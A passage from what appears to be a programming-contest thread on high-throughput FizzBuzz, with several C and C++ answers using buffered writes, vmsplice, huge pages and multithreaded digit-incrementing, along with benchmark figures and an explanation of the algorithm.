DELIM) - 1;\n CTRCPY(\"9\"); // 19\n mcpy(off, BUZZ DELIM FIZZ DELIM, sizeof(BUZZ DELIM FIZZ DELIM) - 1); // Buzz (20) Fizz (21)\n off += sizeof(BUZZ DELIM FIZZ DELIM) - 1;\n // Carry handling on MOD 10\n for (unsigned d = NN; ; --d)\n {\n if (counter.data[d] != '9')\n {\n ++counter.data[d];\n break;\n }\n counter.data[d] = '0';\n }\n CTRCPY(\"2\"); // 22\n CTRCPY(\"3\"); // 23\n mcpy(off, FIZZ DELIM BUZZ DELIM, sizeof(FIZZ DELIM BUZZ DELIM) - 1); // Fizz (24) Buzz (25)\n off += sizeof(FIZZ DELIM BUZZ DELIM) - 1;\n CTRCPY(\"6\"); // 26\n mcpy(off, FIZZ DELIM, sizeof(FIZZ DELIM) - 1); // Fizz (27)\n off += sizeof(FIZZ DELIM) - 1;\n CTRCPY(\"8\"); // 28\n CTRCPY(\"9\"); // 29\n mcpy(off, FIZZ BUZZ DELIM, sizeof(FIZZ BUZZ DELIM) - 1); // FizzBuzz (30)\n off += sizeof(FIZZ BUZZ DELIM) - 1;\n // Carry handling on MOD 10\n for (unsigned d = NN; ; --d)\n {\n if (counter.data[d] != '9')\n {\n ++counter.data[d];\n break;\n }\n counter.data[d] = '0';\n }\n }\n }\n os_write(out, buf, ALIGNED_BUF);\n mcpy(buf, buf + ALIGNED_BUF, (off - buf) % ALIGNED_BUF);\n off -= ALIGNED_BUF;\n }\nend:\n os_write(out, buf, off - buf);\n return 0;\n}\n```\nCompiled as `clang -o fizz fizz.c -O3 -march=native` (with clang 11.0.0 on my Ubuntu 20.10 installation, running kernel version `5.8.0-26.27-generic 5.8.14` on an Intel Core i7-8750H mobile CPU while plugged into the wall), this produces ~3.8GiB/s when run as `./fizz | pv > /dev/null` (not very steady due to write blocking every once in a while, but there's nothing I can do about that when single-threaded, I guess).\n**EDIT**: Optimised the carry handling a bit, and now I'm getting ~3.9GiB/s on my machine (same configuration as above).\n[Answer]\nI was struggling to get more than 2.75GB/s on my rig but then I realised I wasn't compiling with `-O3` which bumped me up to 6.75GB/s.\n```\n#include \n#include \n#include \nchar buf[416];\nchar out[65536 + 4096] = \"1\\n2\\nFizz\\n4\\nBuzz\\nFizz\\n7\\n8\\nFizz\\n\";\nint main(int argc, char **argv) {\n const int o[16] = { 4, 7, 2, 11, 2, 7, 12, 2, 12, 7, 2, 11, 2, 7, 12, 2 };\n char *t = out + 30;\n unsigned long long i = 1, j = 1;\n for (int l = 1; l < 20; l++) {\n int n = sprintf(buf, \"Buzz\\n%llu1\\nFizz\\n%llu3\\n%llu4\\nFizzBuzz\\n%llu6\\n%llu7\\nFizz\\n%llu9\\nBuzz\\nFizz\\n%llu2\\n%llu3\\nFizz\\nBuzz\\n%llu6\\nFizz\\n%llu8\\n%llu9\\nFizzBuzz\\n%llu1\\n%llu2\\nFizz\\n%llu4\\nBuzz\\nFizz\\n%llu7\\n%llu8\\nFizz\\n\", i, i, i, i, i, i, i + 1, i + 1, i + 1, i + 1, i + 1, i + 2, i + 2, i + 2, i + 2, i + 2);\n i *= 10;\n while (j < i) {\n memcpy(t, buf, n);\n t += n;\n if (t >= &out[65536]) {\n char *u = out;\n do {\n int w = write(1, u, &out[65536] - u);\n if (w > 0) u += w;\n } while (u < &out[65536]);\n memcpy(out, out + 65536, t - &out[65536]);\n t -= 65536;\n }\n char *q = buf;\n for (int k = 0; k < 16; k++) {\n char *p = q += o[k] + l;\n if (*p < '7') *p += 3;\n else {\n *p-- -= 7;\n while (*p == '9') *p-- = '0';\n ++*p;\n }\n }\n j += 3;\n }\n }\n}\n```\n[Answer]\n**283 GB/s** output on AMD Ryzen 9 7700X.\nTo build (tested with GCC 13):\n```\ng++ fizzbuzz.cc -march=native -o fizzbuzz -O3 -Wall -std=c++20 -fno-tree-vectorize -fno-exceptions\n```\nThe build takes a few minutes to complete. Compiling with or without `-fno-tree-vectorize`\nmay yield better runtime performance depending on the CPU.\nTo benchmark (Requires installing `pv`):\n1. Install pv (ensure you have [1.6.6](https://github.com/icetee/pv), later versions have an issue which makes the throughput lower when specifying `-B`)\n2. Run\n```\ntaskset -c 0-6 ./fizzbuzz | taskset -c 7 pv -B 2M > /dev/null\n```\nRequires Linux 2.6.17 or later.\n### Performance tuning\n1. The value of the `kParallelism` constant in `fizzbuzz.cc` should be set to\navailable CPU cores or less.\n2. The program uses `kParallelism` threads. It's worth trying different cpu\naffinities to see what gives the best performance. The number of cores assigned\nby `taskset` should be equal to `kParallelism`\n3. For maximum performance, [turn off mitigations](https://jcvassort.open-web.fr/how-to-disable-cpu-mitigations/#how-to-disable-these-mitigations-to-make-linux-fast-again)\n(it's recommended to reenable mitigations after benchmarking since they protect\nagainst CPU vulnerabilities).\n`/proc/sys/fs/pipe-max-size` must be at least `14680064` (14MB) or alternatively\nthe program must be run as root (`sudo ...`)\n---\n## The code\n```\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \nnamespace {\n// Constexpr helper for calculating 10^X since std::pow is not constexpr.\nconstexpr int64_t PowTen(int x) {\n int64_t result = 1;\n for (int i = 0; i < x; ++i) {\n result *= 10;\n }\n return result;\n}\n// We process each batch in parallel from |kParallelism| threads. This number\n// should be set to the available CPU cores or less. Note that higher number\n// doesn't necessarily mean better performance due to the synchronization\n// overhead between threads.\nconstexpr int64_t kParallelism = 7;\n// The last kSuffixDigits digits of each number line are untouched when\n// iterating.\nconstexpr int64_t kSuffixDigits = 6;\n// Increment the first right-most touched digit by this much in one step. Must\n// be divisible by 3. The code currently only handles when this is single-digit.\nconstexpr int64_t kIncrementBy = 3;\n// One batch contains maximum this many lines.\nconstexpr int64_t kMaxLinesInBatch = PowTen(kSuffixDigits) * kIncrementBy / 3;\nconstexpr int kFizzLength = 4;\nconstexpr int kBuzzLength = 4;\nconstexpr int kNewlineLength = 1;\n// A barrier that busy waits until all other threads reach the barrier.\ntemplate \nclass SpinningBarrier {\n public:\n // Constructs a spinning barrier with |count| participating threads and\n // completion callback |completion_cb|.\n // After all threads reach the barrier, the last thread executes the\n // completion callback. The other threads are blocked until the completion\n // callback returns.\n SpinningBarrier(int64_t count, Completion completion_cb) :\n count_(count), spaces_(count), generation_(0),\n completion_cb_(completion_cb) {}\n void Wait() {\n int64_t my_generation = generation_;\n if (!--spaces_) {\n spaces_ = count_;\n completion_cb_();\n ++generation_;\n } else {\n while(generation_ == my_generation);\n }\n }\n private:\n int64_t count_;\n std::atomic spaces_;\n std::atomic generation_;\n Completion completion_cb_;\n};\n// Owns the output buffers and maintains which buffer was used last.\nclass OutputHandler {\n static constexpr size_t kBufferSize = 14 * 1024 * 1024;\n public:\n OutputHandler() {\n for (int i = 0; i < 3; ++i) {\n buffers_[i] =\n static_cast(aligned_alloc(2 * 1024 * 1024, kBufferSize));\n madvise(buffers_[i], kBufferSize, MADV_HUGEPAGE);\n }\n }\n ~OutputHandler() {\n for (int i = 0; i < 3; ++i) {\n free(buffers_[i]);\n }\n }\n void Output(int buffer_id, size_t bytes) {\n // We use three buffers. We have to ensure that while a buffer (or its\n // part) is in the pipe, it won't get modified. There is no API to know\n // when a downstream process is finished reading some data from the pipe,\n // so we choose the size of the pipe smartly.\n // As long as the pipe cannot fit more than two full buffers, we can ensure\n // that after after outputting buffer 0, 1, 2 in this order, the pipe no\n // longer contains data from buffer 0. However, if we make the pipe too\n // small, the program will be slower. The optimal pipe size is calculated by\n // TargetPipeSize. Since there is a minimum pipe size which we\n // cannot go below (4kb on Linux), this approach won't work when the\n // buffer size is too small. In these cases we fall back to write() which\n // copies the content into the pipe, therefore there is no risk of\n // overwriting memory that is still being read from the downstream process.\n // However, if in the subsequent call to Output(), a smaller size were\n // passed (and therefore the else branch were executed), the pipe could\n // still end up containing some data from the current iteration and the\n // entire data from the next iteration. We assume that Output() will be\n // invoked with monotonically increasing sizes (which is true in practice\n // but it'd be better not to depend on this assumption).\n SetPipeSize(TargetPipeSize(bytes));\n if (2 * bytes >= pipe_size_) {\n OutputWithVmSplice(buffers_[buffer_id], bytes);\n } else {\n if (write(STDOUT_FILENO, buffers_[buffer_id], bytes) < 0) {\n std::cerr << \"write error: \" << errno;\n std::abort();\n }\n }\n }\n char* GetBuffer(int buffer_id) {\n return buffers_[buffer_id];\n }\n // Returns the next buffer id that can be filled up and outputted.\n // Callers are responsible to actually output the buffer after requesting it\n // with this method.\n int NextBufferId() {\n buffer_id_ = (buffer_id_ + 1) % 3;\n return buffer_id_;\n }\n static constexpr int64_t BufferSize() {\n return kBufferSize;\n }\n private:\n // Calculates the optimal pipe size for outputting |out_bytes|.\n size_t TargetPipeSize(size_t out_bytes) const {\n // Pipe sizes must be powers of 2 and >= 4kb on Linux.\n // We want that the pipe is not bigger than twice the output (but still\n // maximize the pipe size), so we round |out_bytes| up to the nearest power\n // of two.\n return std::max(4ul * 1024, std::bit_ceil(out_bytes));\n }\n void OutputWithVmSplice(char* buffer, size_t bytes) const {\n iovec iov;\n iov.iov_base = buffer;\n iov.iov_len = bytes;\n while (true) {\n int64_t ret = vmsplice(STDOUT_FILENO, &iov, 1, SPLICE_F_NONBLOCK);\n if (ret >= 0) {\n iov.iov_len -= ret;\n iov.iov_base = reinterpret_cast(iov.iov_base) + ret;\n if (iov.iov_len == 0) {\n break;\n }\n } else {\n if (errno != EAGAIN) {\n std::cerr << \"vmsplice error: \" << errno;\n std::abort();\n }\n }\n }\n }\n void SetPipeSize(size_t size) {\n if (pipe_size_ == size) {\n return;\n }\n size_t new_pipe_size = fcntl(STDOUT_FILENO, F_SETPIPE_SZ, size);\n if (new_pipe_size < 0) {\n std::cerr << \"Error while calling fcntl F_SETPIPE_SZ \" << errno\n << \"\\nPerhaps you need to update /proc/sys/fs/pipe-max-size or \"\n \"run the program as sudo\";\n std::abort();\n }\n pipe_size_ = new_pipe_size;\n }\n std::array buffers_;\n int buffer_id_ = 0;\n size_t pipe_size_;\n};\n// Inserts the fizzbuzz line for line number |line| and a newline character\n// into |out|.\n// Returns the pointer pointing to the character after the newline.\nchar* InsertFizzBuzzLine(char* out, int64_t line) {\n if (line % 15 == 0) {\n std::memcpy(out, \"FizzBuzz\\n\", 9);\n return out + 9;\n } else if (line % 3 == 0) {\n std::memcpy(out, \"Fizz\\n\", 5);\n return out + 5;\n } else if (line % 5 == 0) {\n std::memcpy(out, \"Buzz\\n\", 5);\n return out + 5;\n } else {\n // We support numbers up to 10^20.\n char* next = std::to_chars(out, out + 20, line).ptr;\n *next = '\\n';\n return next + 1;\n }\n}\n// A run refers to all lines where the line numbers have |DIGITS| digits.\n// Run<1>: [1,9]\n// Run<2>: [10,99]\n// ...\ntemplate\nclass Run {\n static_assert(DIGITS >= 1);\n static constexpr int FizzBuzzLineLength(int64_t number_mod_15) {\n if (number_mod_15 % 15 == 0) {\n return 9;\n } else if (number_mod_15 % 3 == 0) {\n return 5;\n } else if (number_mod_15 % 5 == 0) {\n return 5;\n } else {\n return DIGITS + 1;\n }\n }\n // Returns the size of one fifteener in bytes.\n static constexpr size_t FifteenerBytes() {\n size_t size = 0;\n for (int i = 0; i < 15; ++i) {\n size += FizzBuzzLineLength(i);\n }\n return size;\n }\n // Returns the number of lines in this run.\n static constexpr int64_t LinesInRun() {\n return PowTen(DIGITS) - PowTen(DIGITS - 1);\n }\n // The entire fizz-buzz output for this run takes this many bytes.\n static constexpr size_t RunBytes() {\n if constexpr(DIGITS == 1) {\n return 5 + 3 * kFizzLength + 1 * kBuzzLength + 9 * kNewlineLength;\n } else {\n return LinesInRun() / 15 * FifteenerBytes();\n }\n }\n // Returns the number of batches in this run.\n static constexpr int64_t BatchesInRun() {\n if constexpr (DIGITS > kSuffixDigits) {\n return PowTen(DIGITS - kSuffixDigits - 1) * 9;\n } else {\n return 1;\n }\n }\n public:\n // Outputs all lines for this run by using the buffers from |output_handler|.\n static void Execute(OutputHandler& output_handler) {\n Batch<0> batch0(&output_handler);\n Batch<1> batch1(&output_handler);\n Batch<2> batch2(&output_handler);\n // We fill up each batch with the initial values. This is a relatively slow\n // process so we only do it once per run. In subsequent iterations, we\n // only increment the numbers (see below) which is much faster.\n batch0.Init();\n batch0.Output();\n if constexpr (BatchesInRun() > 1) {\n batch1.Init();\n batch1.Output();\n }\n if constexpr (BatchesInRun() > 2) {\n batch2.Init();\n batch2.Output();\n }\n if constexpr (BatchesInRun() > 3) {\n int64_t prefix = PowTen(DIGITS - kSuffixDigits - 1);\n // We update the batch from |kParallelism| threads\n // We use a spinning barrier for synchronizing between the threads.\n // After all threads reach the barrier, the completion function is\n // executed and the output is written out. Then the next batch is\n // processed.\n SpinningBarrier barrier(kParallelism, [&] {\n switch (prefix % 3) {\n // In the beginning\n // batch0 corresponds to prefix 10..00 ( ‚â° 1 mod 3),\n // batch1 corresponds to prefix 10..01 ( ‚â° 2 mod 3),\n // batch2 corresponds to prefix 10..02 ( ‚â° 0 mod 3).\n // After all 3 batches are processed, the prefix is incremented by 3,\n // hence the mods don't change.\n case 0: batch2.Output(); break;\n case 1: batch0.Output(); break;\n case 2: batch1.Output(); break;\n }\n prefix++;\n });\n [&](std::index_sequence) {\n // Launch |kParallelism| number of threads. We could also use a thread\n // pool, but one run takes long enough that launching new threads is\n // negligible.\n (std::jthread([&] {\n for (int64_t batch = 3; batch < BatchesInRun();\n batch += 3) {\n // Each thread processes their corresponding chunk in the batch.\n Chunk<0, THREAD_ID>(batch0).IncrementNumbers(prefix);\n // At this point, all threads wait until every other thread reaches\n // the barrier, the last thread to finish will invoke batch.Output()\n // (see above at the definition of |barrier|).\n barrier.Wait();\n Chunk<1, THREAD_ID>(batch1).IncrementNumbers(prefix);\n barrier.Wait();\n Chunk<2, THREAD_ID>(batch2).IncrementNumbers(prefix);\n barrier.Wait();\n }\n }) , ...);\n }(std::make_index_sequence());\n }\n }\n // A batch represents 10^|kSuffixDigits| lines of the output.\n // This is useful because the last |kSuffixDigits| digits don't need to be\n // updated. Furthermore, line numbers in one batch share the same prefix.\n // BATCH_ID ‚àà [0, 1, 2]\n template\n class Batch {\n static_assert(BATCH_ID < 3);\n using PreviousBatch = Batch;\n public:\n Batch(OutputHandler* output_handler) : output_handler_(output_handler) {\n static_assert(OutputHandler::BufferSize() >= BytesInBatch());\n }\n // Initializes this batch by taking the next available buffer from\n // the output handler and filling it with the initial values.\n void Init() {\n buffer_id_ = output_handler_->NextBufferId();\n char* out = GetBuffer();\n int64_t start = PowTen(DIGITS - 1) + BATCH_ID * LinesInBatch();\n int64_t end = std::min(PowTen(DIGITS), start + LinesInBatch());\n for (int64_t line = start; line < end; ++line) {\n out = InsertFizzBuzzLine(out, line);\n }\n }\n // Returns the first line number of this chunk mod 15.\n static constexpr int64_t FirstLineNumberMod15() {\n if constexpr (BATCH_ID == 0) {\n return DIGITS > 1 ? 10 : 1;\n } else {\n return (PreviousBatch::FirstLineNumberMod15() +\n PreviousBatch::LinesInBatch()) % 15;\n }\n }\n // Returns the number of lines in this batch.\n static constexpr int64_t LinesInBatch() {\n return std::min(kMaxLinesInBatch, LinesInRun());\n }\n // Returns the size of this batch in bytes.\n static constexpr int64_t BytesInBatch() {\n if constexpr (LinesInBatch() < kMaxLinesInBatch) {\n return RunBytes();\n } else {\n size_t size = LinesInBatch() / 15 * FifteenerBytes();\n for (int64_t i = FirstLineNumberMod15() + LinesInBatch() / 15 * 15;\n i < FirstLineNumberMod15() + LinesInBatch(); ++i) {\n size += FizzBuzzLineLength(i);\n }\n return size;\n }\n }\n void Output() {\n output_handler_->Output(buffer_id_, BytesInBatch());\n }\n char* GetBuffer() {\n return output_handler_->GetBuffer(buffer_id_);\n }\n OutputHandler* output_handler_;\n // The buffer id that this batch should use in |output_handler_|.\n int buffer_id_;\n };\n // Represents a chunk, a part of batch processed by thread with id\n // |THREAD_ID|. THREAD_ID ‚àà [0, kParallelism)\n // Since numbers in each chunk need to be incremented at different indexes,\n // we specialize this class for each BATCH_ID and THREAD_ID so the indexes can\n // be precomputed at compile time.\n template\n class Chunk {\n using PreviousChunk = Chunk;\n public:\n // Initializes a chunk that resides in |batch|.\n Chunk(Batch batch) : batch_(batch) {}\n // Returns the first line number of this chunk mod 15.\n static constexpr int64_t FirstLineNumberMod15() {\n if constexpr (THREAD_ID == 0) {\n return Batch::FirstLineNumberMod15();\n } else {\n return (PreviousChunk::FirstLineNumberMod15() +\n PreviousChunk::LinesInChunk()) % 15;\n }\n }\n // Returns the index of the start byte of this chunk in the batch.\n static constexpr int64_t StartIndexInBatch() {\n if constexpr (THREAD_ID == 0) {\n return 0;\n } else {\n return PreviousChunk::StartIndexInBatch() +\n PreviousChunk::BytesInChunk();\n }\n }\n // Returns the number of lines in this chunk.\n static constexpr int64_t LinesInChunk() {\n int64_t done = THREAD_ID == 0 ? 0 :\n PreviousChunk::CumulativeLinesUpToChunk();\n int64_t remaining_lines = Batch::LinesInBatch() - done;\n int64_t remaining_threads = kParallelism - THREAD_ID;\n // equivalent to ceil(remaining_lines / remaining_threads)\n return (remaining_lines - 1) / remaining_threads + 1;\n }\n // Returns the number of lines in this and all previous chunks in the batch.\n static constexpr int64_t CumulativeLinesUpToChunk() {\n if constexpr (THREAD_ID < 0) {\n return 0;\n } else {\n return PreviousChunk::CumulativeLinesUpToChunk() + LinesInChunk();\n }\n }\n // Returns the length of this chunk in bytes.\n static constexpr int64_t BytesInChunk() {\n size_t size = LinesInChunk() / 15 * FifteenerBytes();\n for (int64_t i = FirstLineNumberMod15() + LinesInChunk() / 15 * 15;\n i < FirstLineNumberMod15() + LinesInChunk(); ++i) {\n size += FizzBuzzLineLength(i);\n }\n return size;\n }\n // Increments all the numbers in the chunk.\n // This function wraps IncrementNumbersImpl for efficiently dispatching to\n // specialized versions based on |prefix|.\n void IncrementNumbers(int64_t prefix) {\n // If DIGITS < kSuffixDigits, it means that all the numbers within a run\n // will fit into a single batch, so we should not use IncrementNumbers().\n // The below implementation would not even work.\n static_assert(DIGITS >= kSuffixDigits);\n constexpr int64_t max_overflow_digits = DIGITS - kSuffixDigits;\n // Contains an IncrementChunkImpl() specialization for each value in\n // 0..max_overflow_digits. We use it to jump to the right specialization.\n constexpr auto increment_chunk_impls = []() {\n std::array res{};\n [&](std::index_sequence) {\n ((res[OVERFLOW_DIGITS] = &IncrementNumbersImpl), ...);\n }(std::make_index_sequence());\n return res;\n }();\n increment_chunk_impls[OverflowDigits(prefix)](batch_.GetBuffer());\n }\n private:\n // Increments this chunk in |batch|.\n //\n // Each number line is incremented by |kIncrementBy| * 10^kSuffixDigits.\n // If OVERFLOW_DIGITS > 0, we assume that the operation will overflow,\n // therefore, we need to increment this many digits beforehand. It's the\n // caller's responsibility to calculate the number of digits that will need\n // to be updated in this chunk.\n // For example, the chunk if kIncrementBy = 3 and kSuffixDigits = 6, the\n // chunk [100000000, 100999999] can be incremented to [103000000; 103999999]\n // with OVERFLOW_DIGITS = 0 (no overflow).\n // When incrementing [108000000, 108999999] to [111000000; 111999999],\n // OVERFLOW_DIGITS = 1 (one-digit overflow).\n // When incrementing [198000000, 198999999] to [201000000, 201999999],\n // OVERFLOW_DIGITS = 2 (two-digit overflow)\n template\n static void IncrementNumbersImpl(char* batch) {\n char* out = batch;\n constexpr int64_t start_index = StartIndexInBatch();\n constexpr int first_line_number_mod_15 = FirstLineNumberMod15();\n // Increments the |num_lines| starting from |out|.\n // |num_lines| must be divisible by 120 (except in the last iteration).\n auto increment = [&] (int num_lines) __attribute__((always_inline)) {\n int line_start = 0;\n #pragma GCC unroll 120\n for (int64_t line = 0; line < num_lines; ++line) {\n if (IsFizzBuzzNumber(first_line_number_mod_15 + line)) {\n // In order for the compiler to generate efficient code, the\n // second and third params should be deducible to constants.\n // Since the loop is unrolled, the value of |line_start| is\n // known in every iteration. |start_index| is constexpr, so\n // its value is also known.\n IncrementNumber(out, line_start + start_index, OVERFLOW_DIGITS);\n }\n line_start +=\n FizzBuzzLineLength((first_line_number_mod_15 + line) % 15);\n }\n // Since num_lines is a multiply of 120, the right hand side is a\n // multiply of 8 which ensures that |out| is aligned to 8 bytes\n // afterwards.\n out += FifteenerBytes() * num_lines / 15;\n };\n for (int64_t i = 0; i < LinesInChunk() / 120; ++i) {\n increment(120);\n }\n increment(LinesInChunk() % 120);\n }\n // Returns whether this number is printed as-is ie. it's not a multiply of 3\n // or 5.\n static constexpr bool IsFizzBuzzNumber(int64_t number) {\n return number % 3 != 0 && number % 5 != 0;\n }\n // Increments the number starting at base[line_start].\n // |base| must be aligned to 8 bytes. The caller must guarantee that the\n // number of overflows that occur is |overflow_digits|.\n // For maximum performance, |line_start| should be deducible at compile\n // time.\n __attribute__((always_inline))\n static inline void IncrementNumber(char* base,\n int64_t line_start,\n int overflow_digits) {\n int64_t right_most_digit_to_update_index =\n line_start + DIGITS - 1 - kSuffixDigits;\n // When overflow_digits is known at compile time, all the IncrementAt\n // calls that affect the same 8-byte integer are combined into 1\n // instruction by the compiler.\n IncrementAt(base, right_most_digit_to_update_index, kIncrementBy);\n #pragma GCC unroll 100\n for (int i = 0; i < overflow_digits; ++i) {\n IncrementAt(base, right_most_digit_to_update_index, -10);\n IncrementAt(base, right_most_digit_to_update_index - 1, 1);\n right_most_digit_to_update_index--;\n }\n }\n // Increments the byte at |index| in |base| by |by|.\n // |base| must by aligned to 8 bytes.\n // For maximum performance, |index| and |by| should be deducible by the\n // compiler to constants.\n __attribute__((always_inline))\n static inline void IncrementAt(char* base, int64_t index, char by) {\n union char_array_int64 {\n char ch[8];\n int64_t int64;\n };\n auto base_as_union = reinterpret_cast(base);\n // The code below only works on little endian systems.\n static_assert(std::endian::native == std::endian::little);\n // Increment the character at index |index| by |by|. This works because\n // we can guarantee that the character won't overflow.\n base_as_union[index / 8].int64 +=\n static_cast(by) << ((index % 8) * 8);\n }\n // Returns the number of digits that will overflow when incrementing\n // |prefix| by |kIncrementBy|.\n // Eg. if kIncrementBy = 3:\n // OverflowDigits(100) = 0 (no digits overflow)\n // OverflowDigits(108) = 1 (8 overflows and 0 is incremented by 1)\n // OverflowDigits(198) = 2 (8 overflows and 9 overflows)\n static int OverflowDigits(int64_t prefix) {\n int incremented = prefix + kIncrementBy;\n #pragma GCC unroll 2\n for (int i = 0; i < 20; ++i) {\n incremented /= 10;\n prefix /= 10;\n if (incremented == prefix) {\n return i;\n }\n }\n return 20;\n }\n Batch batch_;\n };\n};\n} // namespace\nint main() {\n OutputHandler output_handler;\n [&](std::index_sequence){\n (Run::Execute(output_handler), ...);\n }(std::make_index_sequence<18>());\n return 0;\n}\n```\n## The algorithm\nI reuse some of the ideas from [ais523's answer](https://codegolf.stackexchange.com/a/236630/7251), namely:\n* using vmsplice for zero-copy output into the pipe\n* aligning the output buffers to 2MB and using huge pages\n### Definitions\n* line number: the id of each line starting with 1, 2, ...\n* mod: the line number mod 15\n* fizzbuzz line: one line of output\n* fizzbuzz function: a function that translates the line number to a fizzbuzz line according to the fizzbuzz logic\n* number line: a line of output which is a number (and not fizz, buzz or fizzbuzz)\n* fifteener: 15 lines of consecutive output\n* batch: 1,000,000 lines of consecutive output\n* run: consecutive output where the line numbers have the same number of digits in base 10, eg. run(6) is the output for line numbers: 100000 ... 999999\n### A few observations\n**Observation 1:** within each fifteener, the number lines are always at the same indices, namely at indices 1, 2, 4, 7, 8, 11, 13 and 14\n**Observation 2:** each run with 2+ digits contains a whole number of fifteeners\n**Observation 3:** each run with 2+ digits starts with mod = 10 because 10^N ‚â° 10 (mod 15) for N > 0\n**Observation 4:** if we have 3 batches (3,000,000 lines) of output in a buffer,\nwe can get the next 3 batches by incrementing the 6th digit (0-indexed) from the\nright of each number line by 3 in each batch. We can keep other digits untouched. We'll call\nthe last 6 digits of the number *suffix digits*, since these will never change in a run.\nThe fizz/buzz/fizzbuzz lines are also untouched.\nFor example the first batch of run(9) looks like this:\n```\nBUZZ\n100000001\nFIZZ\n100000003\n100000004\nFIZZBUZZ\n...\nFIZZ\n100999999\n```\nSecond batch of run(9):\n```\nBUZZ\nFIZZ\n101000002\n101000003\n...\n101999998\n101999999\n```\nThird batch of run(9):\n```\nFIZZBUZZ\n102000001\n102000002\nFIZZ\n...\n102999998\nFIZZ\n```\nWe can get the fourth batch by incrementing the first batch by 3,000,000:\n```\nBUZZ\n103000001\nFIZZ\n103000003\n103000004\nFIZZBUZZ\n...\nFIZZ\n105999999\n```\nIncrementing single digits is much faster than recomputing the numbers every time.\nWe only need to maintain three buffers for the three batches and keep incrementing numbers by 3,000,000.\nIt's important to note that the number lines in the buffer contain the string\nrepresentation of the numbers, eg. 103000003 is actually `['1','0','3','0','0','0','0','0','3']` = `[49, 48, 51, 48, 48, 48, 48, 48, 51]`.\nIncrementing by 3,000,000 means incrementing the 6th digit (0-indexed) from the right by 3.\nUsing three buffers also has an addition benefit: we can put up to two buffers\ninto the pipe for the downstream process to read from (see vmsplice and\n[this article](https://mazzo.li/posts/fast-pipes.html)) and update the third buffer in the meantime.\nThe basic algorithm is as follows:\n```\nfor run in 1..19:\n initialize batch0 with fizz buzz lines between 10^(run-1) and 10^(run-1) + 999,999\n output batch0\n initialize batch1 with fizz buzz lines between 10^(run-1) + 1,000,000 and 10^(run-1) + 1,999,999\n output batch1\n initialize batch2 with fizz buzz lines between 10^(run-1) + 2,000,000 and 10^(run-1) + 2,999,999\n output batch2\n for batch in 3..(number of batches in run):\n increment batch0\n output batch0\n increment batch1\n output batch1\n increment batch2\n output batch2\n```\nThe algorithm is fast because the increment operation (which is where most of\nthe time is spent) can be optimized really well.\n### Overflows and carry\nA major complication in the above algorithm is when a digit overflows.\nFor example, if we increment the digit '8' in 108399977 by 3, the result is not a\ndigit, so we have to take care of the overflow.\nWe do this by first incrementing '8' by 3, then subtracting 10 and adding 1 to\nthe '0' before the '8' (which is pretty much the process how we'd do it on paper).\nFurthermore, it can happen that more than even the digit before overflows, e.g. if the number is 198399977. In this case, we:\n* add 3 to '8'\n* subtract 10 from '8' + 3\n* add 1 to '9'\n* subtract 10 from '9' + 1\n* add 1 to '1'\nThe final result is 201399977.\nHowever, checking in each iteration whether an overflow has occurred is pretty slow.\nThis is where batches are useful once again. Since a batch is 1,000,000 lines of output,\nall numbers in a batch share a common prefix.\n```\n122|531269\n ------ suffix (last 6 digits)\n--- prefix (all previous digits)\n```\nAs mentioned above, the suffixes are never touched after the initialization.\nWe only increment the prefix.\nThe nice property of a batch is that all numbers in\na batch overflow the same way, therefore we only have to check once per chunk, how many digits\nwill need to be updated for each number. We call this the overflow count.\nWe get extra performance gains by incrementing each batch from multiple threads.\nOne section of a batch updated by a thread is called a **chunk**.\n## C++ tricks\nAfter discussing the algorithm, here are a few ideas that make this algorithm particularly fast:\n### 8 is better than 1\nPreviously we talked about incrementing single characters in the buffer but CPUs can work with 8-byte integers faster than with 1-byte integers. Furthermore, if we have to update multiple digits because of overflow, updating 8 bytes at once will reduce the number of instructions.\nFor this to work, a requirement is that the integers must be aligned at 8 bytes, so we need to know where the 8-byte boundaries are.\nConsider the number 12019839977 where we want to add 6 to the digit '8' (and handle overflow). Let's assume that the (one-byte) indexes mod 8 are as follows:\n```\noutput: X Y 1 2 0 1 9 8 3 9 9 7 7\nindex mod 8: 0 1 2 3 4 5 6 7 0 1 2 3 4\n```\n`X Y` is the last two bytes before this number. Let's call the address of `X` `base`. This address is aligned to 8 bytes. Instead of updating the single bytes at (`base + 7`), (`base + 6`) and (`base + 5`), we can update the 8 bytes in a single operation using bit shifts.\nOn little endian systems (like x86) where the least significant byte is at the lowest address, this translates to:\n```\nbase[index \\ 8] += 1 << (5 * 8) | (1 - 10) << (6 * 8) | (6 - 10) << (7 * 8)\n ^ ^\n index mod 8 = 5 increment by 1 - 10 (add carry and handle overflow)\n```\nEach update we want to do to the numbers is OR-d together. What's even better is that even if we write individual instructions, the compiler is smart enough to compile it to a single expression as long as the right handsides are compile-time constants:\n```\nbase[index \\ 8] += 1 << (5 * 8);\nbase[index \\ 8] += (1 - 10) << (6 * 8);\nbase[index \\ 8] += (6 - 10) << (7 * 8);\n```\nDoing all these bit manipulations at runtime would be slower than just incrementing the numbers one byte at a time, so we'll be ...\n### Using the compiler for maximum gains\nAll the calculation needed for the previous step to work fast is done at compile time. A few more observations:\n* The first batch starts with mod 10, the second batch starts with mod 5, the batch chunk starts with mod 0.\n* The first batch is aligned at 8 bytes. We can calculate the length of each batch and chunk at compile time.\nUsing C++ templates, we generate specialized code for each `(run digits, batch id, chunk id, overflows)` tuple.\n* run digits: the number of digits of each number line in this run\n* batch id: 0, 1 or 2 (see the Observation 4 above)\n* chunk id: to distinguish the chunk in the batch, [0, kParallelism)\n* overflow count: the number of digits that will overflow after incrementing the last digit of the prefix\nIn order to support the compiler in generating branchless code, we aggressively\nunroll loops so conditions and calculations can be done at compile time. The\nprice is a long compile time.\nIf we inspect the generated assembly, we can see that the compiler generates\nspecialized code which only contains add/sub instructions without any branches.\n```\nadd QWORD PTR 8[rax], rdx\nsub QWORD PTR 40[rax], 1033\nadd QWORD PTR 32[rax], rdx\nadd QWORD PTR 56[rax], r8\nsub QWORD PTR 88[rax], 4\nadd QWORD PTR 80[rax], rsi\nsub QWORD PTR 104[rax], 67698432\nsub QWORD PTR 128[rax], 67698432\nsub QWORD PTR 160[rax], 4\n[many more add/sub]\n```\nMost of the time, we only need 8 instructions for each fifteener.\n**Feedback / ideas for improvement welcome!**\n[Answer]\nI tweaked Neil's [code](https://codegolf.stackexchange.com/a/215231) a bit (so most credit goes to him) and managed to squeeze some more performance out of it; I also prepared it for unrolling more loops but ultimately I gave up (that's why the code is unreadable gobbledygook).\n```\n#include \n#include \n#include \n#define f(Z) 